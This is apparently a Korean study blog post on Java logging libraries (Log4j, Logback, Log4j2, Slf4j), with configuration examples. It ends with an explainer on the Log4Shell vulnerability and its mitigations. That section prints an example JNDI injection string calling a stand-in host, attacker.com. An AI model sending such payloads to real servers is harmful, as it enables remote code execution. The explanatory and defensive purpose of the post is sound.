Log4j
- Log for Java
- Java기반 로깅 라이브러리, 디버그 용으로 주로 사용
장점
- 프로그램 문제 파악 용이: 코드 라인을 보여주기 때문에 어디서 문제가 발생한지 파악 가능
- 상황별 Level을 지정하여 Level 별 메시지 선택 가능
- DEBUG, TRACE, INFO, WARN, ERROR
- 환경세팅이 간단함
- 출력 위치가 자유롭고, 다양한 출력 형식 지원
- 외부 파일에 로깅할 때 날짜/시간 패턴으로 롤오버할 파일 구성 가능, 그리고 파일 크기가 임계값에 도달하면 파일 롤링
- 비동기 로깅을 이용해 성능을 높일 수 있음
단점
- 비동기로 돌릴 경우 Queue나 Buffer의 용량이 많아지면 Log가 유실될 수 있음
- 최근 Log4j 일부 버전에서 JNDI(Java Naming and Directory Interface)와 Lookup(
${ }
)을 통해 해커가 공격할 수 있다는 사실이 알려짐
설정 (maven 기준)
- pom.xml에 log4j dependency 추가
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>
- log4j.xml 작성
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE log4j:configuration SYSTEM "log4j.dtd">
<log4j:configuration xmlns:log4j='http://jakarta.apache.org/log4j/'>
<appender name="console" class="org.apache.log4j.ConsoleAppender">
<layout class="org.apache.log4j.PatternLayout">
<param name="ConversionPattern" value="%d{yyyy-MM-dd HH:mm:ss} [%-5p] (%F:%L) %m%n"/>
</layout>
</appender>
<appender name="file" class="org.apache.log4j.DailyRollingFileAppender">
<param name="File" value="/home1/irteam/apps/tomcat/logs/app.log" />
<param name="DatePattern" value="'.'yyyy-MM-dd"/>
<param name="Append" value="true"/>
<layout class="org.apache.log4j.PatternLayout">
<param name="ConversionPattern" value="%d{yyyy-MM-dd HH:mm:ss} [%-5p] (%F:%L) %m%n"/>
</layout>
</appender>
<!-- appender 중략 -->
<logger name="external" additivity="false">
<level value="ERROR"/>
<appender-ref ref="file" />
<appender-ref ref="console"/>
</logger>
<logger name="com.nhncorp" additivity="false">
<level value="ERROR"/>
<appender-ref ref="file" />
<appender-ref ref="console"/>
</logger>
<!-- logger 중략 -->
<root>
<level value="ERROR"/>
<appender-ref ref="file" />
<appender-ref ref="console"/>
</root>
</log4j:configuration>
- Java 코드에 추가
@RestController
public class TestController {
private Logger log = LogManager.getLogger(this.getClass());
public String test(String[] args) {
log.warn("hello");
return "test";
}
}
- 실행 결과
2021-12-24 18:30:58 [WARN ](TestController.java:15) hello
log4j.xml 구조
- appender: 전달된 로그를 어디에 출력할지 결정 (콘솔/파일/DB 등)
ConsoleAppender | System.out, System.err에 로그를 남기는 Appender |
FileAppender | File에 로그를 남기는 Appender |
RollingFileAppender | 로그 파일이 특정 크기에 도달할 때마다 파일을 새로 만드는 Appender |
DailyRollingFileAppender | 날짜에 따라 로그 파일명을 변환하며 로그를 남기는 Appender |
... | ... |
- layout: 어떤 형식으로 로그를 출력할지 결정
PatternLayout | 패턴 문자열로 구성 가능한 유연한 레이아웃 |
EnhancedPatternLayout | PatternLayout의 업그레이드 버전, PatternLayout이 로그를 String으로 만든다면 EnhancedPatternLayout은 로그를 StringBuffer로 만듬 |
SimpleLayout | 로그레벨을 제외한 어떠한 레이아웃도 없음 |
... | ... |
- logger: logging 메시지를 Appendeer에 전달하며, 로그레벨과 로그출력 여부를 결정
- name: 사용하게 될 logger class 혹은 package
- level: log의 레벨 중 하나를 사용 (장점의 2번째에 기록)
- appender-ref: 로그의 출력 방식을 설정, 연결될 appender를 선택 (appender name으로)
- additivity: root logger와 중복으로 로깅을 할지 여부 (true: 중복 로깅, false: 중복 로깅 거부)
- root: root logger
- 최상위 패키지 로거
- 특정 클래스나 패키지에 대한 logger가 없으면 root logger를 사용함
구동 방식 (2.x 기준)
1. LogManager에서 특정 클래스 이름의 로거를 요청
LogManager.getLogger(this.getClass());
2. LogManager는 적절한 이름의 LoggerContext를 찾은 후 Logger를 획득함
- log4j.xml에서 해당하는 클래스의 logger를 찾음
3. 선언된 Logger에 LoggerConfig 연결
- Logger 자체는 직접적인 작업을 수행하지 않음
- 단순히 이름만 가지고 AbstractLogger를 상속받아 LoggerConfig을 통해 재정의됨
4. LoggerConfig에서 LogEvents를 전달하는 Appender와 연결
- Appender에 전달되기 전에 LogEvent가 전달되도록 허용해야 하는 Filter set이 있음
- Filter에서 로그 레벨, 유저정보 등 다양한 조건을 필터링함
Logback
- Log4j의 후속, Log4j 개발자가 Logback 또한 개발함
- Log4j와 유사하지만 향상된 성능과 필터링 옵션 제공 (Log4j의 10배의 성능)
- Slf4j의 구현체: Slf4j api를 직접 사용하기 때문에 디펜던시 추가 필요
Auto-Reloading
- Log4j의 경우 log4j.xml을 수정하면 서버를 재가동해야함
- Logback은 logback.xml을 수정하더라도 서버 재가동 필요없이 즉시 리로드를 해줌
모듈
- pom.xml에 디펜던시 추가해야 하는 것들
- logback-core: logback-classic, logback-access의 공통 라이브러리
- logback-classic: Slf4j API를 구현하는 모듈
- logback-access: Tomcat이나 Jetty같은 서블릿 컨테이너와 통합돼 HTTP-access 로그 기능을 제공
Log4j2
- Log4j의 2.x 버전
- Logback 보다 최근에 나옴
- Log4j, Logback에 비해 압도적인 성능 (비동기 로거의 경우 Log4j, Logback의 처리량의 18배)
- 람다식 도입, Lazy Evaluation 지원
logger.trace("Number is {}", () -> getRandomNumber());
- 로그 레벨이 trace가 아니면 Lazy Evaluation 안됨
Migration Log4j to Log4j2
1. pom.xml 수정
- log4j 1.x 버전 제거
- log4j-api 디펜던시 추가
- log4j 프레임워크와의 인터페이스를 위한 api 모음
- log4j-core 디펜던시 추가
- 인터페이스의 구현으로 실제 코드가 포함되어 있음
- log4j-slf4j-impl 디펜던시 추가
- slf4j를 log4j2로 바인딩해줌
- log4j-slf4j-impl에도 log4j-api와 log4j-core가 있음.
- log4j-api와 log4j-core의 버전을 다르게 하고 싶은 경우 따로 정의해야함
- 안해주면 Slf4j 사용하지 않고 Log4j2 사용해야 하는듯
2. import 변경
import org.apache.log4j.Logger; // Log4j 1.x
import org.apache.logging.log4j.Logger; // Log4j 2.x
import org.slf4j.Logger; // Slf4j
3. 사용 클래스 및 메소드 변경
private org.apache.log4j.Logger logger1 = org.apache.log4j.LoggerFactory.getLogger(this.getClass()); // Log4j 1.x
private org.apache.logging.log4j.Logger logger2 = org.apache.logging.log4j.LogManager.getLogger(this.getClass()); // Log4j 2.x
private org.slf4j.Logger loggers = org.slf4j.LoggerFactory.getLogger(this.getClass()); // Slf4j
4. log4j.xml을 log4j2.xml로 교체
- 문법이 비슷하지만 다름
Slf4j
- Simple Logging Facade for Java
- java.util.logging, logback, log4j, ... 등 다양한 로깅 프레임워크에 대한 추상화(인터페이스) 라이브러리
- 추상 로깅 라이브러리이기 때문에 단독으로 사용 안함
동작과정
- Slf4j Logger api 호출
- Slf4j Bridging module
- logger 호출을 Slf4j 인터페이스로 연결하여 Slf4j API가 대신처리 하도록 어댑터 역할
- Slf4j API
- 추상 메소드이기 때문에 무언가(Log4j, Logback)에 바인딩 되어야함
- Slf4j Binding
- Slf4j 인터페이스를 Logging Framework와 연결하는 어댑터 역할
- Slf4j API를 구현한 클래스에서 Binding으로 연결될 Logger의 API 호출
Log4j 취약점 사태 (Log4Shell)
- 2021년 12월 11일 Log4j2 2.15버전 미만 모든 버전에서 RCE(Remote Code Execution) 취약점이 공개
- 제로데이 취약점: 공격자(해커)가 먼저 발견한 취약점, Log4j 패치하기도 전에 공격할 수 있는 취약점
- 그렇기 때문에 이 취약점을 통해 이미 공격당했을 가능성이 존재함
왜 사상 최악의 취약점일까?
- Log4j는 Java를 사용하는 대부분의 어플리케이션에 사용되는 로깅 라이브러리이다.
- Log4j를 통해 RCE (원격 제어 실행)이 가능하다.
- 서버 컴퓨터로 부터 해커가 원하는 api를 요청할 수 있다.
- 전세계 Log4j를 사용하는 모든 서버가 공격 대상이다. (애플, 아마존, 구글, 깃허브, 네이버 등등)
원리
- 십수년전 SQL Injection을 통한 공격이 발생한 후, User의 Input을 신뢰하지 말아야 한다는 교훈을 깨달음
- 하지만 Log4j는 User의 인풋을 조금은 신뢰했나 봄
- Log4j에는 Lookup이라는 기능이 있음
log.info("Debugging {}", str)
여기서 {}에 인자로 들어온 문자열을 넣어 저장함- 근데 {}여기에
${env:USER}
와 같은 로그를 남기면 문자열이 아닌 사용자의 정보를 저장하게 됨
- Log4j에는 JNDI(Java Naming and Directory Interface)라는 인터페이스가 있음
- Java 프로그램이 디렉토리를 통해 객체를 찾을 수 있도록해주는 디렉토리 서비스
- JNDI에는 다양한 프로토콜이 존재 (HTTP, SSH, LDAP)
- LDAP: 네트워크 상에서 조직이나 개인정보 혹은 파일이나 디바이스 정보등을 찾아보는 것을 가능하게 만든 프로토콜
- JNDI와 LDAP를 이용해 원하는 Java 객체를 찾을 수 있음
- 즉, Lookup과 JNDI, LDAP를 이용하면 원하는 객체를 실행할 수 있게 됨
log.info("Debugging {}", str)
여기서 str에${jndi:ldap://attacker.com:8080/attack}
이런 문자열이 들어간다면- 공격받은 서버가 attacker.com:8080/attack 이라는 url을 해커 서버에게 요청하며 해커가 원하는 작업을 실행함
해결
- log4j 2.17.0 버전으로 업데이트를 해야함
- 업데이트 하지 않는다면?
- 사용자가 남기는 로그에서 Lookup을 못하게 막거나 (Log4j 2.7.0 이상)
- JndiLookup 클래스와 JndiManager 클래스를 읽지 못하도록 조치 (Log4j 2.7.0 미만)
'공부' 카테고리의 다른 글
recoil 소개 (0) | 2022.06.22 |
---|---|
쿠버네티스 학습 (0) | 2022.03.24 |
RabbitMQ vs Kafka vs Redis (0) | 2022.03.11 |
Apache vs NGINX, 그리고 NGINX 설정 (0) | 2022.01.26 |